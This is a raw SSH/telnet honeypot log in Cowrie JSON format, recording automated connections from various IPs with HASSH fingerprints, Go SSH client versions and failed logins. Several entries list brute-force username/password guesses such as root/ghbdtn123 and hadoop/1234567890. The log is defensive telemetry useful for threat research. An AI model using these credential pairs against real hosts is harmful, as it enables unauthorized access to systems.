{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:08.876443Z","src_ip":"103.98.149.87","session":"1e9b5bc3bb12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":44232,"dst_ip":"10.17.0.5","dst_port":22,"session":"88bd4ef6f360","protocol":"ssh","message":"New connection: 103.27.238.114:44232 (10.17.0.5:22) [session: 88bd4ef6f360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:09.248895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:09.256428Z","src_ip":"103.27.238.114","session":"88bd4ef6f360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:09.527738Z","src_ip":"103.27.238.114","session":"88bd4ef6f360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtn123","message":"login attempt [root/ghbdtn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:09.838692Z","src_ip":"103.98.149.87","session":"1e9b5bc3bb12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135246","message":"login attempt [root/135246] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:10.346015Z","src_ip":"103.27.238.114","session":"88bd4ef6f360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:11.070874Z","src_ip":"103.98.149.87","session":"1e9b5bc3bb12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:11.622876Z","src_ip":"103.27.238.114","session":"88bd4ef6f360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":50482,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e5b69c4f5db","protocol":"telnet","message":"New connection: 213.108.3.46:50482 (10.17.0.5:23) [session: 4e5b69c4f5db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:42.183718Z"}
{"eventid":"cowrie.session.closed","duration":0.012952566146850586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:42.196570Z","src_ip":"213.108.3.46","session":"4e5b69c4f5db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.181","src_port":46548,"dst_ip":"159.203.135.109","dst_port":22,"session":"56e1193f3b7b","protocol":"ssh","message":"New connection: 45.79.207.181:46548 (159.203.135.109:22) [session: 56e1193f3b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:58.127861Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:58.354673Z","src_ip":"45.79.207.181","session":"56e1193f3b7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":54850,"dst_ip":"10.17.0.5","dst_port":22,"session":"280e45bc1149","protocol":"ssh","message":"New connection: 94.159.98.239:54850 (10.17.0.5:22) [session: 280e45bc1149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:03.197685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:03.399359Z","src_ip":"94.159.98.239","session":"280e45bc1149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:03.404219Z","src_ip":"94.159.98.239","session":"280e45bc1149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dancer","message":"login attempt [root/dancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:04.500063Z","src_ip":"94.159.98.239","session":"280e45bc1149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:05.749877Z","src_ip":"94.159.98.239","session":"280e45bc1149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":33230,"dst_ip":"159.203.135.109","dst_port":22,"session":"d04b5a561bb0","protocol":"ssh","message":"New connection: 176.32.39.21:33230 (159.203.135.109:22) [session: d04b5a561bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:07.896088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:07.904098Z","src_ip":"176.32.39.21","session":"d04b5a561bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:08.025371Z","src_ip":"176.32.39.21","session":"d04b5a561bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"313131","message":"login attempt [root/313131] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:08.391233Z","src_ip":"176.32.39.21","session":"d04b5a561bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:09.513613Z","src_ip":"176.32.39.21","session":"d04b5a561bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.11.46","src_port":20774,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d43a06aa0ef","protocol":"ssh","message":"New connection: 172.104.11.46:20774 (159.203.135.109:22) [session: 9d43a06aa0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.433321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.440643Z","src_ip":"172.104.11.46","session":"9d43a06aa0ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.448333Z","src_ip":"172.104.11.46","session":"9d43a06aa0ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.462226Z","src_ip":"172.104.11.46","session":"9d43a06aa0ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.11.46","src_port":20788,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8c3af0d0490","protocol":"ssh","message":"New connection: 172.104.11.46:20788 (159.203.135.109:22) [session: a8c3af0d0490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.477094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.482819Z","src_ip":"172.104.11.46","session":"a8c3af0d0490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.489472Z","src_ip":"172.104.11.46","session":"a8c3af0d0490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.501342Z","src_ip":"172.104.11.46","session":"a8c3af0d0490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.11.46","src_port":20796,"dst_ip":"159.203.135.109","dst_port":22,"session":"697fd97c6283","protocol":"ssh","message":"New connection: 172.104.11.46:20796 (159.203.135.109:22) [session: 697fd97c6283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.510641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.518666Z","src_ip":"172.104.11.46","session":"697fd97c6283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.525686Z","src_ip":"172.104.11.46","session":"697fd97c6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:13.535780Z","src_ip":"172.104.11.46","session":"697fd97c6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":53948,"dst_ip":"159.203.135.109","dst_port":22,"session":"34cbb9e4414a","protocol":"ssh","message":"New connection: 193.32.162.151:53948 (159.203.135.109:22) [session: 34cbb9e4414a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:26.387149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:26.391273Z","src_ip":"193.32.162.151","session":"34cbb9e4414a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:26.495296Z","src_ip":"193.32.162.151","session":"34cbb9e4414a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1234567890","message":"login attempt [hadoop/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:26.813587Z","src_ip":"193.32.162.151","session":"34cbb9e4414a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:27.919594Z","src_ip":"193.32.162.151","session":"34cbb9e4414a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":39302,"dst_ip":"10.17.0.5","dst_port":22,"session":"9976181970a1","protocol":"ssh","message":"New connection: 62.133.63.178:39302 (10.17.0.5:22) [session: 9976181970a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:46.183558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:46.189000Z","src_ip":"62.133.63.178","session":"9976181970a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:46.314252Z","src_ip":"62.133.63.178","session":"9976181970a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhecz","message":"login attempt [root/vfhecz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:46.688694Z","src_ip":"62.133.63.178","session":"9976181970a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:05:47.816089Z","src_ip":"62.133.63.178","session":"9976181970a1","protocol":"ssh"}
